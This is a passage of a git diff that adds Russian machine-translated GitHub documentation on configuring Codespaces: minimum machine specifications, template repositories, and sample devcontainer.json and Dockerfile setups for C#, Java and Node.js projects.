отдельной виртуальной машине. При создании codespace из репозитория обычно можно выбрать один из разных типов виртуальных машин. Каждый тип компьютера имеет разные ресурсы (ядра процессора, память, хранилище), и по умолчанию используется тип компьютера с наименьшими ресурсами. Дополнительные сведения см. в разделе [Изменение типа компьютера для кодового пространства](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types). + +Если вашему проекту требуется определенный уровень вычислительной мощности, можно настроить {% data variables.product.prodname_github_codespaces %} так, чтобы пользователи могли использовать только типы компьютеров, удовлетворяющие этим требованиям, могли использоваться по умолчанию или при выборе пользователей. Это можно настроить в файле `devcontainer.json`. + +{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} + +{% note %} + +**Важно!** Доступ к некоторым типам компьютеров может быть ограничен на уровне организации. Как правило, это делается для предотвращения того, что пользователи выберут компьютеры с завышенными ресурсами, за которые выставляются счета по более высокому тарифу. Если на репозиторий влияет политика уровня организации для типов компьютеров, убедитесь, что не задана минимальная спецификация, которая не оставляет доступных для выбора пользователей типов компьютеров. Дополнительные сведения см. в разделе [Ограничение доступа по типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). + +{% endnote %} + +## Настройка минимальной спецификации компьютера + +{% data reusables.codespaces.edit-devcontainer-json %} +1. Измените `devcontainer.json` файл, добавив `hostRequirements` свойство на верхнем уровне файла во включаемом объекте JSON. Например: + + ```json{:copy} + "hostRequirements": { + "cpus": 8, + "memory": "8gb", + "storage": "32gb" + } + ``` + + Можно указать любой или все параметры: `cpus`, `memory` и `storage`. + + Чтобы проверить спецификации типов компьютеров {% data variables.product.prodname_github_codespaces %}, доступных в настоящее время для репозитория, выполните инструкции по созданию codespace до этапа с выбором типов компьютеров. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +1. Сохраните файл и зафиксируйте изменения в требуемой ветви репозитория. + + Теперь при создании codespace для этой ветви репозитория и переходе к параметрам конфигурации создания можно выбрать только те типы компьютеров, которые соответствуют указанным ресурсам или превышают их. + + ![Диалоговое окно с ограниченным выбором типов компьютеров](/assets/images/help/codespaces/machine-types-limited-choice.png) + +## Дополнительные материалы + +- [Основные сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers) diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces.md new file mode 100644 index 000000000000..1a88e9fdbd51 --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces.md @@ -0,0 +1,88 @@ +--- +title: Настройка репозитория шаблонов для GitHub Codespaces +shortTitle: Set up a template repo +intro: 'Вы можете помочь пользователям приступить к работе с проектом, настроив репозиторий шаблонов для использования с {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +ms.openlocfilehash: 155aa9bf839301439d2746b4b6f0f0575d2e60ff +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159914' +--- +## Введение + +Настроив репозиторий шаблонов, вы можете помочь пользователям приступить к работе с платформой, библиотекой или другим проектом в {% data variables.product.prodname_github_codespaces %}. Пользователи смогут сразу же приступить к работе с файлами шаблонов в облачной среде разработки, не беспокоясь о клонировании репозитория, установке средств или других зависимостей. С некоторой конфигурацией вы сможете настроить пользователей в codespace с важными файлами, которые уже открыты для редактирования, а приложение уже запущено на вкладке браузера предварительного просмотра в веб-редакторе {% data variables.product.prodname_vscode_shortname %}. + +Любой пользователь с доступом на чтение к репозиторию шаблонов может создать пространство кода на странице репозитория в {% data variables.product.product_name %}. Вы можете превратить любой существующий репозиторий в шаблон, и вам не нужно изменять параметры, чтобы разрешить пользователям создавать пространство кода из репозитория шаблонов. Дополнительные сведения о превращении репозитория в шаблон см. в разделе [Создание репозитория шаблонов](/repositories/creating-and-managing-repositories/creating-a-template-repository). + +Вы можете указать ссылку в формате `https://github.com/codespaces/new?template_repository=OWNER/TEMPLATE-REPO` , чтобы пользователи могли перейти непосредственно на страницу "Создание нового пространства кода" для шаблона. + +![Снимок экрана: страница "Создание codespace"](/assets/images/help/codespaces/create-a-new-codespace-page.png) + +Например, вы можете указать эту ссылку в руководстве по началу работы с платформой. В ссылке замените `OWNER/TEMPLATE-REPO` именем репозитория шаблонов, например `monalisa/octo-template`. + +Когда кто-то создает пространство кода на основе шаблона, содержимое репозитория шаблонов будет клонировано в его codespace. Когда пользователь будет готов, он сможет опубликовать свою работу в новом репозитории на {% data variables.product.product_name %}, принадлежащий его личной учетной записи. Плата за использование codespace будет взиматься с пользователя, создавшего его. Дополнительные сведения см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). + +## Описание шаблона + +Если у вас его нет, создайте файл сведений для репозитория шаблонов, чтобы описать назначение шаблона и как начать работу с ним. Дополнительные сведения см. в статье [О файлах README](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). + +Краткое описание шаблона отображается на странице "Создание нового пространства кода", на которую пользователи смогут перейти по ссылке `https://github.com/codespaces/new?template_repository=OWNER/TEMPLATE-REPO` . Это описание взято из поля **Описание** , которое можно задать при создании репозитория. Это описание можно изменить в любое время, перейдя на страницу репозитория и щелкнув **{% octicon "gear" aria-label="The Settings gear" %}** рядом с разделом **О** программе в правой части страницы. + +![Снимок экрана: раздел "О программе" на странице репозитория](/assets/images/help/repository/repository-settings-icon.png) + +## Добавление начальных файлов + +Репозитории шаблонов обычно содержат начальные файлы с стандартным кодом, чтобы пользователи могли быстро приступить к работе с библиотекой, платформой или другими технологиями. + +Рекомендации по типам файлов, которые необходимо включить, можно просмотреть начальные файлы, включенные в официальные шаблоны {% data variables.product.company_short %} для {% data variables.product.prodname_github_codespaces %}, как показано ниже. + +{% data reusables.codespaces.your-codespaces-procedure-step %} {% data reusables.codespaces.view-all-templates-step %} +1. Чтобы просмотреть репозиторий шаблонов, содержащий файлы для шаблона, щелкните имя шаблона. + + ![Снимок экрана: раздел "Изучение шаблонов быстрого запуска" с выделенным элементом "React"](/assets/images/help/codespaces/react-template-name.png) + +## Настройка образа контейнера + +Вы можете добавить файлы конфигурации контейнера разработки в репозиторий шаблонов, чтобы настроить среду разработки для пользователей, использующих ваш шаблон с {% data variables.product.prodname_github_codespaces %}. Вы можете выбрать из списка предопределенных параметров конфигурации в {% data variables.product.prodname_vscode %} или создать пользовательскую конфигурацию, написав собственный `devcontainer.json` файл. Если не добавить файлы конфигурации, будет использоваться образ контейнера по умолчанию. Дополнительные сведения см. в разделах [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers) и [Добавление конфигурации контейнера разработки в репозиторий](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces). + +{% note %} + +**Примечание.** {% data reusables.codespaces.configuration-choice-templates %} + +{% endnote %} + +Вы должны настроить контейнер разработки с помощью средств и настройки, чтобы предоставить пользователям наилучший опыт работы с вашим шаблоном. Например, в файле:`devcontainer.json` +- Свойство можно использовать для `openFiles` определения списка файлов, которые будут автоматически открываться в веб-клиенте {% data variables.product.prodname_vscode_shortname %} при создании codespace на основе шаблона. +- Если шаблон содержит файлы для веб-приложения, вы можете настроить автоматическое выполнение приложения в пространстве кода пользователя. Это можно сделать, используя `postAttachCommand` свойство для запуска скрипта, который запускает приложение на локальном сервере, как только веб-клиент {% data variables.product.prodname_vscode_shortname %} подключается к codespace, и задав `onAutoForward` свойству порта `openPreview` значение для отображения приложения, работающего на этом порту, в простом браузере, внедренном в веб-клиент {% data variables.product.prodname_vscode_shortname %}. + +Следующие параметры конфигурации для шаблона React открывают `app.js` файл в редакторе пользователя, запускают `npm start` (определяются в `package.json` файле) для запуска локального сервера и перенаправят порт `3000` на вкладку браузера предварительного просмотра в codespace. + +```JSON +{ + "postAttachCommand": { + "server": "npm start", + }, + + "portsAttributes": { + "3000": { + "label": "Application", + "onAutoForward": "openPreview" + } + }, + + "customizations": { + "codespaces": { + "openFiles": ["src/App.js"] + } + } +} +``` +Дополнительные сведения см. в разделе [Автоматическое открытие файлов в codespaces для репозитория](/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository) и [спецификация контейнеров разработки](https://containers.dev/implementors/json_reference/#general-properties) в containers.dev. diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md new file mode 100644 index 000000000000..29b2307e437d --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md @@ -0,0 +1,216 @@ +--- +title: Настройка проекта C# (.NET) для GitHub Codespaces +shortTitle: Setting up your C# (.NET) project +allowTitleToDifferFromFilename: true +intro: 'Начните работу с проектом C# (.NET) в {% data variables.product.prodname_github_codespaces %}, создав пользовательский контейнер разработки.' +redirect_from: + - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +hasExperimentalAlternative: true +hidden: true +ms.openlocfilehash: 10282aedf3bdb239fa238e546c2fc6280787a6a0 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158616' +--- +## Введение + +В этом руководстве показано, как настроить проект C# (.NET) {% data reusables.codespaces.setting-up-project-intro %} + +### Предварительные требования + +- Необходим существующий проект C# (.NET) в репозитории на {% data variables.product.prodname_dotcom_the_website %}. Если у вас нет проекта, воспользуйтесь этим руководством с таким примером: https://github.com/2percentsilk/dotnet-quickstart. +- Для вашей организации необходимо включить {% data variables.product.prodname_github_codespaces %}. + +## Шаг 1. Открытие проекта в codespace + +1. Под именем репозитория используйте раскрывающееся меню **кода {% octicon "code" aria-label="The code icon" %}** , а затем на вкладке **Codespaces** щелкните знак "плюс" ({% octicon "plus" aria-label="The plus icon" %}). + + ![Кнопка "Создать codespace"](/assets/images/help/codespaces/new-codespace-button.png) + +При создании codespace проект создается на удаленной виртуальной машине, выделенной для вас. По умолчанию контейнер для codespace содержит множество языков и сред выполнения, включая .NET. Он также содержит общий набор средств, таких как git, wget, rsync, openssh и nano. + +{% data reusables.codespaces.customize-vcpus-and-ram %} + +## Шаг 2. Добавление конфигурации контейнера разработки в репозиторий из шаблона + +Контейнер разработки по умолчанию для {% data variables.product.prodname_github_codespaces %} поставляется с последней версией .NET и предварительно установленными стандартными средствами. Однако рекомендуется настроить собственный контейнер разработки, чтобы включить все средства и скрипты, необходимые для проекта. Это обеспечит полностью воспроизводимую среду для всех пользователей {% data variables.product.prodname_github_codespaces %} в репозитории. + +{% data reusables.codespaces.setup-custom-devcontainer %} + +{% data reusables.codespaces.command-palette-container %} +1. Для этого примера щелкните **C# (.NET)** . Если требуются дополнительные функции, можно выбрать любой контейнер, предназначенный для C# (.NET), или сочетание таких средств, таких как C# (.NET) и MS SQL. + ![Выберите вариант C# (.NET) в списке](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png) +1. Щелкните рекомендуемую версию .NET. + ![Выбор версии .NET](/assets/images/help/codespaces/add-dotnet-version.png) +1. Подтвердите параметр добавления Node.js в настройку по умолчанию. + ![Выбор "Добавить Node.js"](/assets/images/help/codespaces/dotnet-options.png) {% data reusables.codespaces.rebuild-command %} + +### Анатомия контейнера разработки + +Добавление шаблона контейнера разработки C# (.NET) добавляет папку `.devcontainer` в корень репозитория проекта со следующими файлами: + +- `devcontainer.json` +- Dockerfile + +В добавленном файле `devcontainer.json` определяется несколько свойств, описанных после примера. + +#### devcontainer.json + +```json +{ + "name": "C# (.NET)", + "build": { + "dockerfile": "Dockerfile", + "args": { + // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0 + "VARIANT": "5.0", + // Options + "INSTALL_NODE": "true", + "NODE_VERSION": "lts/*", + "INSTALL_AZURE_CLI": "false" + } + }, + + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash" + }, + + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "ms-dotnettools.csharp" + ], + + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [5000, 5001], + + // [Optional] To reuse of your local HTTPS dev cert: + // + // 1. Export it locally using this command: + // * Windows PowerShell: + // dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" + // * macOS/Linux terminal: + // dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" + // + // 2. Uncomment these 'remoteEnv' lines: + // "remoteEnv": { + // "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere", + // "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx", + // }, + // + // 3. Start the container. + // + // 4. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer. + // + // 5. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https". + // + + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "dotnet restore", + + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" +} +``` + +- **name** — имя контейнера разработки может быть любым, это просто имя по умолчанию. +- **build** — свойства сборки. + - **dockerfile** — в объекте `build` `dockerfile` содержит путь к Dockerfile, который был также добавлен из шаблона. + - **args** + - **variant**: этот файл содержит только один аргумент сборки — версия .NET Core, которую нужно использовать. +- **settings** — параметры {% data variables.product.prodname_vscode %}. + - **terminal.integrated.shell.linux** — хотя bash используется здесь по умолчанию, изменив это, можно использовать и другие оболочки терминала. +- **extensions** — расширения, включенные по умолчанию. + - **ms-dotnettools.csharp** — расширение Microsoft C# обеспечивает расширенную поддержку разработки в C#, включая такие функции, как IntelliSense, анализ кода, отладка, навигация по коду, форматирование кода, рефакторинг, обозреватель переменных, обозреватель тестов и многое другое. +- **forwardPorts** — все порты, перечисленные здесь, будут переадресованы автоматически. Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). +- **postCreateCommand** — используйте это свойство для выполнения команд, которые не определены в Dockerfile, после создания codespace. +- **remoteUser** — по умолчанию вы работаете в качестве пользователя vscode, но при необходимости его можно задать в качестве корневого. + +#### Dockerfile + +```bash +# [Choice] .NET version: 5.0, 3.1, 2.1 +ARG VARIANT="5.0" +FROM mcr.microsoft.com/vscode/devcontainers/dotnetcore:0-${VARIANT} + +# [Option] Install Node.js +ARG INSTALL_NODE="true" +ARG NODE_VERSION="lts/*" +RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi + +# [Option] Install Azure CLI +ARG INSTALL_AZURE_CLI="false" +COPY library-scripts/azcli-debian.sh /tmp/library-scripts/ +RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-debian.sh; fi \ + && apt-get clean -y && rm -rf /var/lib/apt/lists/* /tmp/library-scripts + +# [Optional] Uncomment this section to install additional OS packages. +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends + +# [Optional] Uncomment this line to install global node packages. +# RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 +``` + +Dockerfile можно использовать для добавления дополнительных слоев контейнера, чтобы указать пакеты ОС, версии узлов или глобальные пакеты, которые нужно включить в контейнер. + +## Шаг 3. Изменение файла devcontainer.json + +После добавления конфигурации контейнера разработки и получения базового представления о том, как все устроено, теперь можно внести изменения для дальнейшей настройки среды. В этом примере нужно добавить свойства для установки расширений и зависимостей проекта при запуске codespace. + +1. В обозревателе выберите из дерева файл `devcontainer.json`, чтобы открыть его. Возможно, понадобится развернуть папку `.devcontainer`, чтобы увидеть его. + + ![Файл devcontainer.json в обозревателе](/assets/images/help/codespaces/devcontainers-options.png) + +2. Обновите список `extensions` в файле `devcontainer.json`, чтобы добавить несколько расширений, полезных при работе с проектом. + + ```json{:copy} + "extensions": [ + "ms-dotnettools.csharp", + "streetsidesoftware.code-spell-checker", + ], + ``` + +3. Раскомментируйте `postCreateCommand` для восстановления зависимостей в процессе установки codespace. + + ```json{:copy} + // Use 'postCreateCommand' to run commands after the container is created. + "postCreateCommand": "dotnet restore", + ``` + + {% data reusables.codespaces.more-info-devcontainer %} + +{% data reusables.codespaces.rebuild-command %} + + {% data reusables.codespaces.rebuild-reason %} + +5. Проверьте, успешно ли применены изменения, убедившись, что расширение "Проверка орфографии кода" установлено. + + ![Список расширений](/assets/images/help/codespaces/dotnet-extensions.png) + +## Шаг 4. Запуск приложения + +В предыдущем разделе вы использовали `postCreateCommand` для установки набора пакетов с помощью команды `dotnet restore`. После установки зависимостей можно запустить приложение. + +1. Запустите приложение, нажав клавишу `F5` или введя `dotnet watch run` в терминале. + +2. При запуске проекта в правом нижнем углу {% data variables.product.prodname_vscode_shortname %} появится всплывающее сообщение с запросом на подключение к порту, который используется проектом. + + ![Всплывающее уведомление о перенаправлении портов](/assets/images/help/codespaces/python-port-forwarding.png) + +## Шаг 5. Фиксация изменений + +{% data reusables.codespaces.committing-link-to-procedure %} + +## Дальнейшие действия + +Теперь вы должны быть готовы приступить к разработке проекта C# (.NET) в {% data variables.product.prodname_github_codespaces %}. Ниже приведены дополнительные ресурсы для более сложных сценариев. + +{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md new file mode 100644 index 000000000000..6936495c60bf --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md @@ -0,0 +1,187 @@ +--- +title: Настройка проекта Java для GitHub Codespaces +allowTitleToDifferFromFilename: true +shortTitle: Setting up with your Java project +intro: 'Начните работу с проектом Java в {% data variables.product.prodname_github_codespaces %}, создав пользовательский контейнер разработки.' +redirect_from: + - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +hasExperimentalAlternative: true +hidden: true +ms.openlocfilehash: b861744483f61bc01e8069188c1ce6298411d57e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158768' +--- +## Введение + +В этом руководстве показано, как настроить проект Java {% data reusables.codespaces.setting-up-project-intro %} + +### Предварительные требования + +- Необходим существующий проект Java в репозитории на {% data variables.product.prodname_dotcom_the_website %}. Если у вас нет проекта, воспользуйтесь этим руководством с таким примером: https://github.com/microsoft/vscode-remote-try-java +- Для вашей организации необходимо включить {% data variables.product.prodname_github_codespaces %}. + +## Шаг 1. Открытие проекта в codespace + +1. Под именем репозитория используйте раскрывающееся меню **кода {% octicon "code" aria-label="The code icon" %}** , а затем на вкладке **Codespaces** щелкните знак "плюс" ({% octicon "plus" aria-label="The plus icon" %}). + + ![Кнопка "Создать codespace"](/assets/images/help/codespaces/new-codespace-button.png) + +При создании codespace проект создается на удаленной виртуальной машине, выделенной для вас. По умолчанию контейнер для codespace содержит множество языков и сред выполнения, включая Java, nvm, npm и Yarn. Он также включает набор часто используемых средств, таких как git, wget, rsync, openssh и nano. + +{% data reusables.codespaces.customize-vcpus-and-ram %} + +## Шаг 2. Добавление конфигурации контейнера разработки в репозиторий из шаблона + +Контейнер разработки по умолчанию в {% data variables.product.prodname_github_codespaces %} поставляется с последней версией Java, диспетчерами пакетов (Maven, Gradle) и другими предварительно установленными стандартными средствами. Однако рекомендуется настроить собственный контейнер разработки, чтобы включить все средства и скрипты, необходимые для проекта. Это обеспечит полностью воспроизводимую среду для всех пользователей {% data variables.product.prodname_github_codespaces %} в репозитории. + +{% data reusables.codespaces.setup-custom-devcontainer %} + +{% data reusables.codespaces.command-palette-container %} +1. Для этого примера щелкните **Java**. На практике можно выбрать любой контейнер, относящийся к Java, или сочетание таких средств, как Java и Функции Azure. + ![Выберите вариант Java в списке](/assets/images/help/codespaces/add-java-prebuilt-container.png) +1. Щелкните рекомендуемую версию Java. + ![Выбор версии Java](/assets/images/help/codespaces/add-java-version.png) {% data reusables.codespaces.rebuild-command %} + +### Анатомия контейнера разработки + +При добавлении шаблона контейнера разработки Java в корень репозитория проекта добавляется каталог `.devcontainer` со следующими файлами: + +- `devcontainer.json` +- Dockerfile + +В добавленном файле `devcontainer.json` определяется несколько свойств, описанных после примера. + +#### devcontainer.json + +```json +// For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at: +// https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java +{ + "name": "Java", + "build": { + "dockerfile": "Dockerfile", + "args": { + // Update the VARIANT arg to pick a Java version: 11, 14 + "VARIANT": "11", + // Options + "INSTALL_MAVEN": "true", + "INSTALL_GRADLE": "false", + "INSTALL_NODE": "false", + "NODE_VERSION": "lts/*" + } + }, + + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash", + "java.home": "/docker-java-home", + "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn" + }, + + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "vscjava.vscode-java-pack" + ], + + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], + + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "java -version", + + // Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" +} +``` + +- **name** — имя контейнера разработки может быть любым, это просто имя по умолчанию. +- **build** — свойства сборки. + - **dockerfile** — в объекте `build` `dockerfile` содержит путь к Dockerfile, который был также добавлен из шаблона. + - **args** + - **variant** — этот файл содержит только один аргумент сборки, а именно версию Java, передаваемую в Dockerfile. +- **settings** — параметры {% data variables.product.prodname_vscode %}, которые можно задать. + - **terminal.integrated.shell.linux** — по умолчанию используется bash, но это свойство можно изменить, если понадобится использовать другие оболочки терминала. +- **extensions** — расширения, включенные по умолчанию. + - **vscjava.vscode-java-pack** — пакет расширений Java предоставляет популярные расширения для начала разработки. +- **forwardPorts** — все порты, перечисленные здесь, переадресовываются автоматически. Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). +- **postCreateCommand** — используйте это свойство для выполнения команд, которые не определены в Dockerfile, после создания codespace. +- **remoteUser** — по умолчанию вы работаете в качестве пользователя `vscode`, но при необходимости можно задать `root`. + +#### Dockerfile + +```bash +# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile +ARG VARIANT="14" +FROM mcr.microsoft.com/vscode/devcontainers/java:0-${VARIANT} + +# [Optional] Install Maven or Gradle +ARG INSTALL_MAVEN="false" +ARG MAVEN_VERSION=3.6.3 +ARG INSTALL_GRADLE="false" +ARG GRADLE_VERSION=5.4.1 +RUN if [ "${INSTALL_MAVEN}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install maven \"${MAVEN_VERSION}\""; fi \ + && if [ "${INSTALL_GRADLE}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install gradle \"${GRADLE_VERSION}\""; fi + +# [Optional] Install a version of Node.js using nvm for front end dev +ARG INSTALL_NODE="true" +ARG NODE_VERSION="lts/*" +RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi + +# [Optional] Uncomment this section to install additional OS packages. +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends + +# [Optional] Uncomment this line to install global node packages. +# RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 +``` + +Dockerfile можно использовать для добавления дополнительных слоев контейнера, чтобы указать пакеты ОС, версии Java или глобальные пакеты, которые нужно включить в контейнер. + +## Шаг 3. Изменение файла devcontainer.json + +После добавления конфигурации контейнера разработки и получения базового представления о том, как все устроено, теперь можно внести изменения для дальнейшей настройки среды. В этом примере нужно добавить свойства для установки расширений и зависимостей проекта при запуске codespace. + +1. В обозревателе выберите из дерева файл `devcontainer.json`, чтобы открыть его. Возможно, понадобится развернуть папку `.devcontainer`, чтобы увидеть его. + + ![Файл devcontainer.json в обозревателе](/assets/images/help/codespaces/devcontainers-options.png) + +2. Добавьте в файл `devcontainer.json` после `extensions` приведенные ниже строки. + + ```json{:copy} + "postCreateCommand": "npm install", + "forwardPorts": [4000], + ``` + + {% data reusables.codespaces.more-info-devcontainer %} + +{% data reusables.codespaces.rebuild-command %} + + {% data reusables.codespaces.rebuild-reason %} + +## Шаг 4. Запуск приложения + +В предыдущем разделе вы использовали `postCreateCommand` для установки набора пакетов с помощью npm. Теперь его можно использовать для запуска приложения с помощью npm. + +1. Запустите приложение, нажав клавишу `F5`. + +2. При запуске проекта в правом нижнем углу {% data variables.product.prodname_vscode_shortname %} появится всплывающее сообщение с запросом на подключение к порту, который используется проектом. + + ![Всплывающее уведомление о перенаправлении портов](/assets/images/help/codespaces/codespaces-port-toast.png) + +## Шаг 5. Фиксация изменений + +{% data reusables.codespaces.committing-link-to-procedure %} + +## Дальнейшие действия + +Теперь вы должны быть готовы приступить к разработке проекта Java в {% data variables.product.prodname_github_codespaces %}. Ниже приведены дополнительные ресурсы для более сложных сценариев. + +{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md new file mode 100644 index 000000000000..75a76d79daf6 --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md @@ -0,0 +1,180 @@ +--- +title: Настройка проекта Node.js для GitHub Codespaces +allowTitleToDifferFromFilename: true +shortTitle: Setting up your Node.js project +intro: 'Начните работу с проектом JavaScript, Node.js или TypeScript в {% data variables.product.prodname_github_codespaces %}, создав пользовательский контейнер разработки.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces +type: tutorial +topics: + - Codespaces + - Developer + - Node + - JavaScript +hasExperimentalAlternative: true +hidden: true +ms.openlocfilehash: 19c29f7d3c8110d1c671a9af46227a399a467800 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159906' +--- +## Введение + +В этом руководстве показано, как настроить проект JavaScript, Node.js или TypeScript {% data reusables.codespaces.setting-up-project-intro %} + +### Предварительные требования + +- Необходим существующий проект JavaScript, Node.js или TypeScript в репозитории на {% data variables.product.prodname_dotcom_the_website %}. Если у вас нет проекта, воспользуйтесь этим руководством с таким примером: https://github.com/microsoft/vscode-remote-try-node +- Для вашей организации необходимо включить {% data variables.product.prodname_github_codespaces %}. + +## Шаг 1. Открытие проекта в codespace + +1. Под именем репозитория используйте раскрывающееся меню **кода {% octicon "code" aria-label="The code icon" %}** , а затем на вкладке **Codespaces** щелкните знак "плюс" ({% octicon "plus" aria-label="The plus icon" %}). + + ![Кнопка "Создать codespace"](/assets/images/help/codespaces/new-codespace-button.png) + +При создании codespace проект создается на удаленной виртуальной машине, выделенной для вас. По умолчанию контейнер для codespace содержит множество языков и сред выполнения, включая Node.js, JavaScript, Typescript, nvm, npm и yarn. Он также содержит общий набор средств, таких как GIT, wget, rsync, openssh и nano. + +{% data reusables.codespaces.customize-vcpus-and-ram %} + +## Шаг 2. Добавление конфигурации контейнера разработки в репозиторий из шаблона + +Контейнер разработки по умолчанию или контейнер разработки для {% data variables.product.prodname_github_codespaces %} будет изначально поддерживать выполнение проектов Node.js, таких как [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node). Однако рекомендуется настроить собственный контейнер разработки, так как это позволяет определить средства и скрипты, необходимые для проекта. Это обеспечит полностью воспроизводимую среду для всех пользователей {% data variables.product.prodname_github_codespaces %} в репозитории. + +{% data reusables.codespaces.setup-custom-devcontainer %} + +{% data reusables.codespaces.command-palette-container %} +1. Для этого примера щелкните **Node.js**. Если требуются дополнительные функции, можно выбрать любой контейнер, предназначенный для Node, или сочетание таких средств, например Node и MongoDB. + + ![Выберите вариант Node в списке](/assets/images/help/codespaces/add-node-prebuilt-container.png) + +1. Щелкните рекомендуемую версию Node.js. + + ![Выбор версии Node.js](/assets/images/help/codespaces/add-node-version.png) + +{% data reusables.codespaces.rebuild-command %} + +### 